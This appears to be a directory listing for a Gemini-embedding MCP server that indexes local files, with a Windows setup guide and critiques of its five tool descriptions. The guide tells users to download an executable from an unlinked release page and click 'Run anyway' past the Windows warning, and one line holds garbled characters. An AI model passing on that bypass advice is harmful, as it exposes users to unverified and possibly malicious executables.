Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type @ followed by the MCP server name and your instructions, e.g., "@gemini-embedding-2-mcp-server search my local documents for 'quantum computing'"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
gemini-embedding-2-mcp-server turns a folder on your PC into a local search tool for AI apps.
It scans files in a directory, builds embeddings with Gemini Embedding 2, and helps an AI agent find the right text fast. It works well for code, notes, docs, and other local files. It also supports visual context for files that include images or screen-based content.
Related MCP server: ragi
Before you start, make sure you have:
A Windows PC
An internet connection
A Google API key for Gemini
A folder you want to search
Enough free space for your files and index data
For best results, use:
Windows 10 or Windows 11
8 GB RAM or more
A modern CPU
At least 1 GB of free disk space for small folders
Visit this page to download the app:
Open the link above in your browser
Find the latest release
Download the Windows file from the release assets
Save the file to a folder you can find, ู
ุซู Downloads
If the file is a ZIP file, right-click it and choose Extract All
If the file is an .exe file, double-click it to start
Extract the ZIP file
Open the extracted folder
Look for the app file, such as .exe
Double-click the file to run it
Click More info
Click Run anyway
This can happen when you run a new app for the first time.
The app needs a Gemini API key to work.
Open your Google AI Studio or Gemini API settings
Create or copy your API key
Paste the key into the app setup screen or config file
Save your changes
If the app asks for a path or folder, choose the local folder you want it to index.
Pick the folder you want the app to search.
Good choices include:
Project folders
Notes folders
Document folders
Code folders
Knowledge bases
Try to start with one folder. After that, you can add more if needed.
Start the app
Enter your Gemini API key
Select the folder you want to index
Wait while the app scans your files
Let it build the search index
Connect your AI client or use the local MCP server settings
The first scan can take time if the folder is large.
The app reads your files and turns them into embeddings. An embedding is a way to store the meaning of text so search can find the right result even when the words do not match exactly.
That helps with tasks like:
Finding notes about a topic
Looking up code examples
Searching docs by meaning
Finding related files
Giving AI agents better local context
Use this app when you want an AI tool to work with your local files.
Common uses:
Search through a codebase
Find old project notes
Ask an AI about local documents
Build a local knowledge base
Connect a folder to an MCP-aware app
Improve retrieval for RAG workflows
The app is built for common file types used in daily work.
It can handle:
Plain text files
Markdown files
Code files
Notes
Docs with text content
Files that include visual context
For best results, keep files readable and well named.
This is an MCP server, so it can connect with tools that support the Model Context Protocol.
That means an AI app can ask it to:
Search files
Find related content
Pull matching text
Use local folder context in answers
If you already use an MCP-compatible client, point it at this server after setup.
Before you search for the first time, check these items:
The app file is downloaded and opened
Your API key is set
The folder path is correct
The folder has files to index
The index has finished building
The app is still running while you use it
Try this:
Right-click the file
Choose Run as administrator
Make sure the file finished downloading
Check that Windows did not block it
Try this:
Check your API key
Make sure your internet connection works
Use a smaller folder first
Remove files with bad names or broken content
Try this:
Use a better folder structure
Add more text files
Use clear file names
Rebuild the index after changes
Try this:
Start with one folder
Reduce very large file sets
Close other heavy apps
Keep the app on a fast drive if possible
You will get better results if you:
Use short, clear file names
Put files in tidy folders
Keep text in simple formats
Split very large notes into smaller files
Avoid duplicate files
Rebuild the index after big changes
Good folder structure helps the search engine find the right context fast.
A simple workflow looks like this:
Download the app
Run it on Windows
Add your Gemini API key
Select a folder
Build the index
Connect your AI tool
Search your local content by meaning
Use this page any time you want the latest Windows download:
This server is useful when you want local search that feels smart.
It helps because it:
Searches by meaning, not just words
Works with local folders
Fits AI agent workflows
Supports MCP clients
Uses Gemini Embedding 2 for strong retrieval
These file types usually give the best results:
.txt
.md
.json
.csv
.py
.js
.ts
.html
Large binary files are less useful unless they include text or extracted content.
After setup, day-to-day use is easy:
Keep the app open
Add new files to the watched folder
Rebuild the index when needed
Ask your AI app to search the folder
Open the best match
If you are not sure where to start, try one of these:
Work notes
Study notes
Software project folder
Research folder
Personal knowledge folder
Support docs folder
Start small. That makes setup easier and search faster.
Keep your API key private.
Use one key for your own setup and store it where the app expects it. If you replace the key later, rebuild the index if the app asks for it.
After setup, test the app with a small folder that has a few text files.
For example:
One note about a topic
One code file
One README file
Then search for a phrase or idea that appears in one of them. If that works, your setup is in good shape.
Download the latest Windows release from the release page and run it on your PC
Scans a local directory, extracts text from files (PDF, DOCX, TXT, MD) AND raw video/audio/image bytes, generates semantic embeddings using Gemini 2 and stores them for searching.
Args: directory_path: Absolute path to the directory. ignore: Optional list of glob patterns to ignore (e.g., [".log", "drafts", "temp"]).
| Name | Required | Description | Default |
|---|---|---|---|
| directory_path | Yes | ||
| ignore | No |
| Name | Required | Description |
|---|---|---|
| result | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations exist, so the description must fully disclose behavioral traits. It mentions that it generates embeddings and stores them, but fails to disclose side effects such as overwriting behavior, performance implications for large directories, or whether it modifies files. Important safety and idempotency details are missing.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise (three lines) and front-loaded with the main action. It includes a structured 'Args' section. No unnecessary words, but could be slightly more compact.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's medium complexity and the presence of an output schema, the description covers the basic functionality well but omits constraints like directory existence, permission requirements, and handling of nested directories. It is adequate but not fully comprehensive.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The description adds significant meaning beyond the schema by specifying that directory_path must be an absolute path and providing examples for the ignore parameter (e.g., '*.log', 'drafts'). This compensates for the schema's lack of property descriptions (0% coverage).
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool scans a local directory, extracts text from multiple file types (PDF, DOCX, TXT, MD, and raw media bytes), generates semantic embeddings using Gemini 2, and stores them for searching. It uses specific verbs and resources, and the function is distinct from siblings like listing or removing indexes.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance is provided about when to use this tool versus alternatives. It does not mention prerequisites (e.g., directory existence, permissions) or edge cases like re-indexing. The description only explains what it does, not when it should or should not be used.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Lists all the file paths that have been indexed in the database.
| Name | Required | Description | Default |
|---|---|---|---|
No parameters | |||
| Name | Required | Description |
|---|---|---|
| result | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations present, so the description must carry the burden. It states it lists all indexed file paths, implying a read-only operation, but does not disclose any behavioral traits like authentication needs, rate limits, or side effects.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
One sentence, concise and front-loaded. No wasted words, though slightly minimal.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no parameters and presence of an output schema, the description is minimally adequate. It explains what the tool does, but lacks details like ordering or pagination behavior. Sibling tools provide enough contrast.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
No parameters exist, so schema coverage is complete. The description adds no extra parameter info but is adequate given the absence of parameters.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'lists' and the resource 'file paths that have been indexed in the database'. It distinguishes itself from siblings like index_directory, remove_directory_from_index, search_my_documents, and sync_indexed_directories.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives. No explicit context or exclusions are provided.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Removes all documents and images belonging to a specific directory path from the index.
| Name | Required | Description | Default |
|---|---|---|---|
| directory_path | Yes |
| Name | Required | Description |
|---|---|---|
| result | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description must carry full burden. States it removes entries but does not disclose if the operation is reversible, impacts other data, or requires permissions. Lacks critical behavioral details for a destructive action.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence, very concise, but lacks depth. While efficient, it fails to include necessary context that would justify its brevity. Not under-specified but could add more value in the same space.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Output schema exists, so return values are covered, but the description omits behavior like confirmation, status, or side effects. For a destructive tool, this is insufficient. Lacks completeness given the simplicity.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 0% and description does not elaborate on the single parameter 'directory_path' beyond its name. No format, examples, or constraints are provided, leaving the agent guessing about valid inputs.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the tool removes documents and images from the index for a specific directory, which is a specific verb+resource. It distinguishes from siblings like index_directory (adds) and list_indexed_directories (lists).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives, no prerequisites or exclusions. The description only implies usage without clarifying context or providing when-not scenarios.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Performs a semantic search over your previously indexed local documents AND images using the Gemini 2 Embedding model.
| Name | Required | Description | Default |
|---|---|---|---|
| query | Yes | ||
| limit | No |
| Name | Required | Description |
|---|---|---|
| result | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description carries full burden. It discloses use of Gemini 2 embeddings and that it searches both documents and images, but does not mention read-only nature, return format, or pagination. Basic but not comprehensive.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence with no wasted words. Immediately communicates core functionality in a front-loaded manner.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Output schema exists (so return format not needed), but description omits parameter explanations and usage context. For a simple search tool, this is adequate but incomplete.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 0% and description does not mention any parameters (query, limit). It adds no meaning beyond the input schema, leaving agents without guidance on what query or limit do.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states 'semantic search' over 'previously indexed local documents AND images', specifying the verb and resource. It distinguishes from sibling tools (all indexing operations) by being the only search tool.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Description implies usage after indexing (previously indexed) and mentions semantic search, but does not explicitly state when to use (e.g., 'after indexing') or when not to use. No alternatives given.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Auto-updates existing folders. It finds all unique parent directories of currently indexed files and re-indexes them to capture new or modified files.
| Name | Required | Description | Default |
|---|---|---|---|
No parameters | |||
| Name | Required | Description |
|---|---|---|
| result | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden. It discloses the core behavior: finds unique parent directories and re-indexes them. However, it lacks details on safety (e.g., is it idempotent?), performance, or side effects such as deleting old entries.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two sentences, front-loaded with the core action 'Auto-updates existing folders.' Every clause adds meaning with no wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description is mostly complete for a simple sync action with no parameters. However, it could mention that it is typically run after changes to indexed directories, and it does not describe the return value (though an output schema exists).
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
There are no parameters, and schema description coverage is 100%. The description does not add parameter info (none needed), but baseline for 0 params is 4. No extra semantic value required.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool auto-updates existing folders by re-indexing parent directories of currently indexed files to capture new or modified files. It distinguishes from sibling tools like index_directory (adds a directory) and list_indexed_directories (lists), showing specific verb+resource.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies when to use (to sync after changes to indexed directories), but provides no explicit guidance on when not to use or alternatives. It does not compare to siblings like index_directory or remove_directory_from_index.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
v0.1.0index_directorylist_indexed_directoriesremove_directory_from_indexsearch_my_documentssync_indexed_directoriesScored across 5 tools
Each tool has a distinct purpose without overlap: indexing directories, listing indexed paths, removing directories, searching, and syncing. No confusion between tools.
All tool names follow a consistent snake_case verb_noun pattern (e.g., index_directory, search_my_documents), making it easy to infer functionality.
Five tools is an appropriate scope for a document embedding server, covering core operations without unnecessary bloat.
The set covers add, list, remove, search, and sync operations. Minor gaps like clearing the entire index or adding individual files are absent but not critical for the domain.
Agent-native MCP server over the public saagarpatel.dev corpus. Read-only, stateless.
An MCP server that gives your AI access to the source code and docs of all public github repos
The Needle MCP server enables semantic search on documents stored in files like PDFs, DOCX, and XLSX by connecting AI applications to external data sources. It provides capabilities to create and manage document collections, perform natural language searches on stored content, and retrieve relevant information without requiring exact keyword matches.
